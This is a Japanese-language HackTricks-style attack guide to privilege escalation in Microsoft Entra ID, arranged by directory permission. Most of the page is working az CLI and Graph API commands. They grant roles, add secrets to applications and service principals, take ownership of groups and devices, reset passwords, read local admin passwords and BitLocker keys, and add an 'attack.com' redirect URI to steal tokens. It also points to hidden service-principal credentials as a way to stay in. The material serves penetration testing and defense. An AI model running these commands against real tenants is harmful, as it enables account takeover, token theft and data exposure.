# Az - EntraID Privesc

{{#include ../../../../banners/hacktricks-training.md}}

> [!NOTE]
> **Entra ID**に組み込まれている**すべての詳細な権限**がカスタムロールで使用できるわけではないことに注意してください。

## Roles

### Role: Privileged Role Administrator <a href="#c9d4cde0-7dcc-45d5-aa95-59d198ae84b2" id="c9d4cde0-7dcc-45d5-aa95-59d198ae84b2"></a>

このロールには、プリンシパルにロールを割り当てたり、ロールに追加の権限を付与したりするために必要な詳細な権限が含まれています。これらの両方のアクションは、特権を昇格させるために悪用される可能性があります。

- ユーザーにロールを割り当てる:
```bash
# List enabled built-in roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoles"

# Give role (Global Administrator?) to a user
roleId="<roleId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/directoryRoles/$roleId/members/\$ref" \
--headers "Content-Type=application/json" \
--body "{
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"
```
- ロールに権限を追加する:
```bash
# List only custom roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions" | jq '.value[] | select(.isBuiltIn == false)'

# Change the permissions of a custom role
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions/<role-id>" \
--headers "Content-Type=application/json" \
--body '{
"description": "Update basic properties of application registrations",
"rolePermissions": [
{
"allowedResourceActions": [
"microsoft.directory/applications/credentials/update"
]
}
]
}'
```
## アプリケーション

### `microsoft.directory/applications/credentials/update`

これにより、攻撃者は既存のアプリケーションに**資格情報**（パスワードまたは証明書）を追加できます。アプリケーションに特権のある権限がある場合、攻撃者はそのアプリケーションとして認証し、その権限を取得できます。
```bash
# Generate a new password without overwritting old ones
az ad app credential reset --id <appId> --append
# Generate a new certificate without overwritting old ones
az ad app credential reset --id <appId> --create-cert
```
### `microsoft.directory/applications.myOrganization/credentials/update`

これは `applications/credentials/update` と同じアクションを許可しますが、単一ディレクトリアプリケーションにスコープされています。
```bash
az ad app credential reset --id <appId> --append
```
### `microsoft.directory/applications/owners/update`

攻撃者は自分自身をオーナーとして追加することで、アプリケーションを操作できるようになり、資格情報や権限を含むことができます。
```bash
az ad app owner add --id <AppId> --owner-object-id <UserId>
az ad app credential reset --id <appId> --append

# You can check the owners with
az ad app owner list --id <appId>
```
### `microsoft.directory/applications/allProperties/update`

攻撃者は、テナントのユーザーによって使用されているアプリケーションにリダイレクトURIを追加し、新しいリダイレクトURLを使用したログインURLを共有することで、トークンを盗むことができます。ユーザーがすでにアプリケーションにログインしている場合、認証は自動的に行われ、ユーザーが何かを承認する必要はありません。

また、アプリケーションが要求する権限を変更して、より多くの権限を取得することも可能ですが、この場合、ユーザーはすべての権限を要求するプロンプトを再度承認する必要があります。
```bash
# Get current redirect uris
az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris"
# Add a new redirect URI (make sure to keep the configured ones)
az ad app update --id <app-id> --web-redirect-uris "https://original.com/callback https://attack.com/callback"
```
## サービスプリンシパル

### `microsoft.directory/servicePrincipals/credentials/update`

これにより、攻撃者は既存のサービスプリンシパルに資格情報を追加できます。サービスプリンシパルに昇格した権限がある場合、攻撃者はその権限を引き継ぐことができます。
```bash
az ad sp credential reset --id <sp-id> --append
```
> [!CAUTION]
> 新しく生成されたパスワードはウェブコンソールに表示されないため、これはサービスプリンシパルに対して持続性を維持するための隠れた方法となる可能性があります。\
> APIからは次のコマンドで見つけることができます: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json`

エラー `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` が表示された場合、それは**SPのpasswordCredentialsプロパティを変更することはできないため**であり、最初にロックを解除する必要があります。そのためには、次のコマンドを実行するための権限（`microsoft.directory/applications/allProperties/update`）が必要です:
```bash
az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/<sp-object-id> --body '{"servicePrincipalLockConfiguration": null}'
```
### `microsoft.directory/servicePrincipals/synchronizationCredentials/manage`

これにより、攻撃者は既存のサービスプリンシパルに資格情報を追加できます。サービスプリンシパルに昇格された権限がある場合、攻撃者はその権限を引き継ぐことができます。
```bash
az ad sp credential reset --id <sp-id> --append
```
### `microsoft.directory/servicePrincipals/owners/update`

アプリケーションと同様に、この権限はサービスプリンシパルに追加のオーナーを追加することを許可します。サービスプリンシパルのオーナーであることは、その資格情報と権限を制御することを可能にします。
```bash
# Add new owner
spId="<spId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$spId/owners/\$ref" \
--headers "Content-Type=application/json" \
--body "{
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"

az ad sp credential reset --id <sp-id> --append

# You can check the owners with
az ad sp owner list --id <spId>
```
> [!CAUTION]
> 新しいオーナーを追加した後、削除しようとしましたが、APIはDELETEメソッドがサポートされていないと応答しました。オーナーを削除するために必要なメソッドであってもです。したがって、**現在オーナーを削除することはできません**。

### `microsoft.directory/servicePrincipals/disable` と `enable`

これらの権限は、サービスプリンシパルを無効にしたり有効にしたりすることを許可します。攻撃者は、この権限を使用して、何らかの方法でアクセスできるサービスプリンシパルを有効にし、特権を昇格させることができます。

この技術では、攻撃者が有効にされたサービスプリンシパルを乗っ取るために、さらに多くの権限が必要であることに注意してください。
```bash
# Disable
az ad sp update --id <ServicePrincipalId> --account-enabled false

# Enable
az ad sp update --id <ServicePrincipalId> --account-enabled true
```
#### `microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials` & `microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials`

これらの権限は、シングルサインオンのための資格情報を作成および取得することを可能にし、サードパーティアプリケーションへのアクセスを許可する可能性があります。
```bash
# Generate SSO creds for a user or a group
spID="<spId>"
user_or_group_id="<id>"
username="<username>"
password="<password>"
az rest --method POST \
--uri "https://graph.microsoft.com/beta/servicePrincipals/$spID/createPasswordSingleSignOnCredentials" \
--headers "Content-Type=application/json" \
--body "{\"id\": \"$user_or_group_id\", \"credentials\": [{\"fieldId\": \"param_username\", \"value\": \"$username\", \"type\": \"username\"}, {\"fieldId\": \"param_password\", \"value\": \"$password\", \"type\": \"password\"}]}"


# Get credentials of a specific credID
credID="<credID>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$credID/getPasswordSingleSignOnCredentials" \
--headers "Content-Type=application/json" \
--body "{\"id\": \"$credID\"}"
```
### アプリケーションの特権昇格

**[この投稿](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)で説明されているように**、デフォルトのアプリケーションに**API permissions**のタイプ**`Application`**が割り当てられているのを見つけることは非常に一般的でした。**`Application`**タイプのAPI Permission（Entra IDコンソールで呼ばれる）は、アプリケーションがユーザーコンテキスト（アプリにユーザーがログインしていない状態）なしでAPIにアクセスでき、Entra IDのロールを必要としないことを意味します。したがって、**すべてのEntra IDテナントにおいて高特権のアプリケーションを見つけることは非常に一般的です**。

次に、攻撃者が**アプリケーションの資格情報（シークレットまたは証明書）を更新することを許可する権限/ロール**を持っている場合、攻撃者は新しい資格情報を生成し、それを使用して**アプリケーションとして認証**し、アプリケーションが持つすべての権限を取得できます。

前述のブログでは、一般的なMicrosoftのデフォルトアプリケーションのいくつかの**API permissions**が共有されていますが、この報告の後、Microsoftはこの問題を修正し、現在はMicrosoftアプリケーションとしてログインすることはできなくなりました。しかし、**悪用される可能性のある高特権のカスタムアプリケーションを見つけることは依然として可能です**。

---

## グループ

### `microsoft.directory/groups/allProperties/update`

この権限は、特権グループにユーザーを追加することを許可し、特権昇格につながります。
```bash
az ad group member add --group <GroupName> --member-id <UserId>
```
**注意**: この権限は Entra ID ロール割り当てグループを除外します。

### `microsoft.directory/groups/owners/update`

この権限はグループのオーナーになることを許可します。グループのオーナーはグループのメンバーシップと設定を制御でき、グループに対して権限をエスカレートする可能性があります。
```bash
az ad group owner add --group <GroupName> --owner-object-id <UserId>
az ad group member add --group <GroupName> --member-id <UserId>
```
**注意**: この権限は Entra ID ロール割り当てグループを除外します。

### `microsoft.directory/groups/members/update`

この権限はグループにメンバーを追加することを許可します。攻撃者は自分自身や悪意のあるアカウントを特権グループに追加することで、昇格したアクセスを付与することができます。
```bash
az ad group member add --group <GroupName> --member-id <UserId>
```
### `microsoft.directory/groups/dynamicMembershipRule/update`

この権限は、動的グループのメンバーシップルールを更新することを許可します。攻撃者は、明示的な追加なしに特権グループに自分自身を含めるために動的ルールを変更する可能性があります。
```bash
groupId="<group-id>"
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/groups/$groupId" \
--headers "Content-Type=application/json" \
--body '{
"membershipRule": "(user.otherMails -any (_ -contains \"security\")) -and (user.userType -eq \"guest\")",
"membershipRuleProcessingState": "On"
}'
```
**注意**: この権限は Entra ID ロール割り当てグループを除外します。

### ダイナミックグループの特権昇格

ユーザーが自分のプロパティを変更してダイナミックグループのメンバーとして追加されることで、特権を昇格させることが可能な場合があります。詳細については、以下を確認してください：

{{#ref}}
dynamic-groups.md
{{#endref}}

## ユーザー

### `microsoft.directory/users/password/update`

この権限は非管理者ユーザーのパスワードをリセットすることを許可し、潜在的な攻撃者が他のユーザーに対して特権を昇格させることを可能にします。この権限はカスタムロールに割り当てることはできません。
```bash
az ad user update --id <user-id> --password "kweoifuh.234"
```
### `microsoft.directory/users/basic/update`

この権限はユーザーのプロパティを変更することを許可します。プロパティの値に基づいてユーザーを追加する動的グループが一般的に見られるため、この権限によりユーザーは特定の動的グループのメンバーになるために必要なプロパティ値を設定し、権限を昇格させることができる可能性があります。
```bash
#e.g. change manager of a user
victimUser="<userID>"
managerUser="<userID>"
az rest --method PUT \
--uri "https://graph.microsoft.com/v1.0/users/$managerUser/manager/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/users/$managerUser"}'

#e.g. change department of a user
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/users/$victimUser" \
--headers "Content-Type=application/json" \
--body "{\"department\": \"security\"}"
```
## 条件付きアクセスポリシーとMFAバイパス

MFAを要求する誤設定された条件付きアクセスポリシーはバイパスされる可能性があります。確認してください：

{{#ref}}
az-conditional-access-policies-mfa-bypass.md
{{#endref}}

## デバイス

### `microsoft.directory/devices/registeredOwners/update`

この権限により、攻撃者はデバイスの所有者として自分自身を割り当て、デバイス固有の設定やデータへの制御またはアクセスを得ることができます。
```bash
deviceId="<deviceId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/owners/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'
```
### `microsoft.directory/devices/registeredUsers/update`

この権限は、攻撃者が自分のアカウントをデバイスに関連付けてアクセスを得たり、セキュリティポリシーを回避したりすることを可能にします。
```bash
deviceId="<deviceId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/registeredUsers/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'
```
### `microsoft.directory/deviceLocalCredentials/password/read`

この権限は、攻撃者がMicrosoft Entraに参加しているデバイスのバックアップされたローカル管理者アカウントの資格情報のプロパティを読み取ることを許可します。これにはパスワードが含まれます。
```bash
# List deviceLocalCredentials
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials"

# Get credentials
deviceLC="<deviceLCID>"
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials/$deviceLCID?\$select=credentials" \
```
## BitlockerKeys

### `microsoft.directory/bitlockerKeys/key/read`

この権限はBitLockerキーにアクセスすることを許可し、攻撃者がドライブを復号化し、データの機密性を侵害する可能性があります。
```bash
# List recovery keys
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys"

# Get key
recoveryKeyId="<recoveryKeyId>"
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys/$recoveryKeyId?\$select=key"
```
## その他の興味深い権限 (TODO)

- `microsoft.directory/applications/permissions/update`
- `microsoft.directory/servicePrincipals/permissions/update`
- `microsoft.directory/applications.myOrganization/allProperties/update`
- `microsoft.directory/applications/allProperties/update`
- `microsoft.directory/servicePrincipals/appRoleAssignedTo/update`
- `microsoft.directory/applications/appRoles/update`
- `microsoft.directory/applications.myOrganization/permissions/update`

{{#include ../../../../banners/hacktricks-training.md}}
